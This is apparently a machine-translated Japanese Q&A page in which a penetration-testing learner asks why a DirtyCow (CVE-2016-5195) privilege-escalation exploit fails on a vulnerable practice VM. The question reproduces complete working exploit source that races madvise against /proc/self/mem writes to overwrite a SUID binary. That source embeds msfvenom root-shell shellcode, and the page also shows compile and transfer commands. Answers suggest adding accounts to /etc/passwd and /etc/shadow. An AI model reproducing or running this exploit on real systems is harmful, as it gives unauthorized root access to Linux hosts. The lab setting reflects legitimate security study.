web-dev-qa-db-ja.com

ICE 120イメージのDirtyCow脆弱性の悪用

ペネトレーションテストを学習しようとしています。学んでいる間、私も一人で練習しようとしていました。脆弱性のあるWebアプリケーションであるICE 120と呼ばれる脆弱なイメージをインターネットで見つけ、SQLインジェクションを利用した後にシステムのユーザー名とハッシュを取得することができました。

特権のないユーザーでそのシステムにログインしている間に、dirtycowの脆弱性CVE-2016-5195を使用して特権をエスカレートしようとしました。

カーネルとgithubから使用していたサンプルコードに関する以下の情報を見つけてください。ただし、動作していないようです。私は初心者なので、私が何か間違ったことをしているのか、カーネルがまったく悪用可能でないのかを理解するためのガイダンスを本当に感謝します。これを実践するために仮想マシンイメージを使用していることに注意してください。

被害者のカーネル:

/home/jdavenport >>uname -a
Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-3630QM CPU @ 2.40GHz GenuineIntel GNU/Linux
/home/jdavenport >>

私はgithubから以下のコードを使用しています(私はgithubから、dirtycowの同じ概念を使用する他のいくつかのバリエーションを試しました)被害者のマシンが投げていたので、「gcc -o cowroot cowroot.c -m32 -pthread」を使用して、このコードを実際にKaliマシン(別のVM)でコンパイルしました。 「無効なタイプの構造」のコンパイルエラー次に、scpを使用してコードのバイナリを被害者のマシンに転送しました。

scp cowroot [email protected]:/home/jdavenport/cowroot1

参考までに、私のカーリーカーネルは次のとおりです

Linux kali 4.8.0-kali2-AMD64#1 SMP Debian 4.8.15-1kali1(2016-12-23)x86_64 GNU/Linux。

私が使用したDirtycowコードは次のとおりです。

/*
* (un)comment correct payload first (x86 or x64)!
* 
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd overwritten
* Popping root Shell.
* Don't forget to restore /tmp/bak
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
*
* @robinverton 
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>

void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;

// change if no permissions to read
char suid_binary[] = "/etc/passwd";

/*
* msfvenom -p linux/x64/exec CMD="echo '0' > /proc/sys/vm/dirty_writeback_centisecs;/bin/bash" PrependSetuid=True -f elf | xxd -i

unsigned char sc[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
  0xe3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4e, 0x01, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
  0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
  0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
  0x3c, 0x00, 0x00, 0x00, 0x65, 0x63, 0x68, 0x6f, 0x20, 0x27, 0x30, 0x27,
  0x20, 0x3e, 0x20, 0x2f, 0x70, 0x72, 0x6f, 0x63, 0x2f, 0x73, 0x79, 0x73,
  0x2f, 0x76, 0x6d, 0x2f, 0x64, 0x69, 0x72, 0x74, 0x79, 0x5f, 0x77, 0x72,
  0x69, 0x74, 0x65, 0x62, 0x61, 0x63, 0x6b, 0x5f, 0x63, 0x65, 0x6e, 0x74,
  0x69, 0x73, 0x65, 0x63, 0x73, 0x3b, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62,
  0x61, 0x73, 0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 227;
*/

/*
* msfvenom -p linux/x86/exec CMD="echo '0' > /proc/sys/vm/dirty_writeback_centisecs;/bin/bash" PrependSetuid=True -f elf | xxd -i
*/
unsigned char sc[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xba, 0x00, 0x00, 0x00,
  0x20, 0x01, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
  0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
  0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
  0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x3c, 0x00, 0x00, 0x00,
  0x65, 0x63, 0x68, 0x6f, 0x20, 0x27, 0x30, 0x27, 0x20, 0x3e, 0x20, 0x2f,
  0x70, 0x72, 0x6f, 0x63, 0x2f, 0x73, 0x79, 0x73, 0x2f, 0x76, 0x6d, 0x2f,
  0x64, 0x69, 0x72, 0x74, 0x79, 0x5f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x62,
  0x61, 0x63, 0x6b, 0x5f, 0x63, 0x65, 0x6e, 0x74, 0x69, 0x73, 0x65, 0x63,
  0x73, 0x3b, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00,
  0x57, 0x53, 0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 186;


void *madviseThread(void *arg)
{
    char *str;
    str=(char*)arg;
    int i,c=0;
    for(i=0;i<1000000 && !stop;i++) {
        c+=madvise(map,100,MADV_DONTNEED);
    }
    printf("thread stopped\n");
}

void *procselfmemThread(void *arg)
{
    char *str;
    str=(char*)arg;
    int f=open("/proc/self/mem",O_RDWR);
    int i,c=0;
    for(i=0;i<1000000 && !stop;i++) {
        lseek(f,map,SEEK_SET);
        c+=write(f, str, sc_len);
    }
    printf("thread stopped\n");
}

void *waitForWrite(void *arg) {
    char buf[sc_len];

    for(;;) {
        FILE *fp = fopen(suid_binary, "rb");

        fread(buf, sc_len, 1, fp);

        if(memcmp(buf, sc, sc_len) == 0) {
            printf("%s overwritten\n", suid_binary);
            break;
        }

        fclose(fp);
        sleep(1);
    }

    stop = 1;

    printf("Popping root Shell.\n");
    printf("Don't forget to restore /tmp/bak\n");

    system(suid_binary);
}

int main(int argc,char *argv[]) {
    char *backup;

    printf("DirtyCow root privilege escalation\n");
    printf("Backing up %s to /tmp/bak\n", suid_binary);

    asprintf(&backup, "cp %s /tmp/bak", suid_binary);
    system(backup);

    f = open(suid_binary,O_RDONLY);
    fstat(f,&st);

    printf("Size of binary: %d\n", st.st_size);

    char payload[st.st_size];
    memset(payload, 0x90, st.st_size);
    memcpy(payload, sc, sc_len+1);

    map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);

    printf("Racing, this may take a while..\n");

    pthread_create(&pth1, NULL, &madviseThread, suid_binary);
    pthread_create(&pth2, NULL, &procselfmemThread, payload);
    pthread_create(&pth3, NULL, &waitForWrite, NULL);

    pthread_join(pth3, NULL);

    return 0;
}

コードを実行すると、新しいシェルなどをポップアップすることなく、コードが完成します。

/home/jdavenport >>./cowroot1 
DirtyCow root privilege escalation
Backing up /etc/passwd to /tmp/bak
Size of binary: 3372
Racing, this may take a while..
thread stopped
thread stopped

* Update 08/04/2017 * Joshのアドバイスに従って、Cowroot cプログラムを正しいSUIDバイナリで変更しました。これは、非特権ユーザーにも読み取り権限があります。

jdavenport@slax:/usr/bin$ ls -lrt kcheckpass
-rwsr-xr-x 1 root root 10104 Oct 26  2008 kcheckpass*

それでも、この脆弱性を利用することはできません。私の考えでは、いくつかの理由が考えられます-

  • カーネルは脆弱ではありません

私の主張は、カーネルのバージョンが脆弱であることを示しているということです

jdavenport@slax:/usr/bin$ uname -a
Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-3630QM CPU @ 2.40GHz GenuineIntel GNU/Linux
jdavenport@slax:/usr/bin$ 

-エクスプロイトコードが期待どおりに機能していません。

  • 私は理由を見つけたのではないかと思います。それはスレッディングに関連しています。

  • 私は書き込みエクスプロイトのダーティコピーの概念を読みましたが、ファイルに対して2つの同時スレッド(madviseとプライベート書き込み)を動作させようとしたため、競合状態に完全に依存しているようです。

  • スレッド内で出力するようにCプログラムを変更し、後で分析するためにログファイルにリダイレクトしました。抜粋は次のとおりです。

    void * madviseThread(void * arg){charstr; str =(char)arg; int i、c = 0; for(i = 0; i <10000000 &&!stop; i ++){c + = madvise(map、100、MADV_DONTNEED); printf( "t1 =>%d\n"、c); } printf( "スレッド停止\ n"); }

    void * procselfmemThread(void * arg){charstr; str =(char)arg; int f = open( "/ proc/self/mem"、O_RDWR); int i、c = 0; for(i = 0; i <10000000 &&!stop; i ++){lseek(f、map、SEEK_SET); c + = write(f、str、sc_len); printf( "t2 =>%d\n"、c); } printf( "スレッド停止\ n"); }

    -ログを分析している間、スレッドはクラスター化された方法で動作しているようです。たとえば、スレッド1の実行の束と、スレッド2の実行の束です。例-最初の発生をカウントしている間スレッド2は35142行後に見つかります

    root @ kali:〜#grep -n "t2 => -1" cowlog.txt |頭-10

    35413:t2 => -1 35422:t2 => -10 35423:t2 => -11 35424:t2 => -12 35425:t2 => -13 35426:t2 => -14 35427:t2 => -15 35428 :t2 => -16 35429:t2 => -17 35430:t2 => -18

  • コードをコンパイルしたGCCバージョンは次のとおりです

    root @ kali:〜#gcc --version

    gcc(Debian 6.3.0-11)6.3.0 20170321 Copyright(C)2016 Free Software Foundation、Inc.これはフリーソフトウェアです。コピー条件のソースを参照してください。保証はありません。商品性や特定の目的への適合性についてもです。

    root @ kali:〜#

そして、私は以下を使用してプログラムをコンパイルしました

gcc -o cowroot cowroot.c -m32 -pthread

あなたの専門家の助言をいただければ幸いです。

3

他のダーティコウの亜種を試しましたか?問題がPOCにあると思われる場合は、同じ脆弱性を悪用している他のPOCを試すことでこれを除外できる可能性があります。ルートになるためにシェルを生成する必要はありません。常に新しいユーザーアカウントを/ etc/passwdと/ etc/shadowに追加できます。

1
Joshua Gimer

Suidバイナリは、passwdファイルではなく、passwdバイナリである必要があります。 「which passwd」と入力し、suid_binary文字配列をpasswdの完全パスに設定します。

4
Josh Gimer

あなたの指導のおかげで、私はついにターゲットマシンの脆弱性を悪用することに成功しました。

以下のgithubリンクから同じ脆弱性を悪用する他の方法(POC)を使用しました

https://Gist.github.com/KrE80r/42f8629577db95782d5e4f609f437a54 

SUID Binaryファイル名とコメント化されていない32ビットシェルコードを適宜変更しました。

そして、それを-m32フラグでコンパイルした後(ターゲットが32ビットだったため)、攻撃者のマシンは64ビットマシンでした。

しかし、以前の試みがなぜ失敗したのかはまだはっきりしていません。この問題について詳しく知り次第、調査します。

それまでは、私が解決策を見つけたと思います(何らかの方法で)。簡単なヒントとガイダンスに感謝します。

よろしく、酸っぱい

0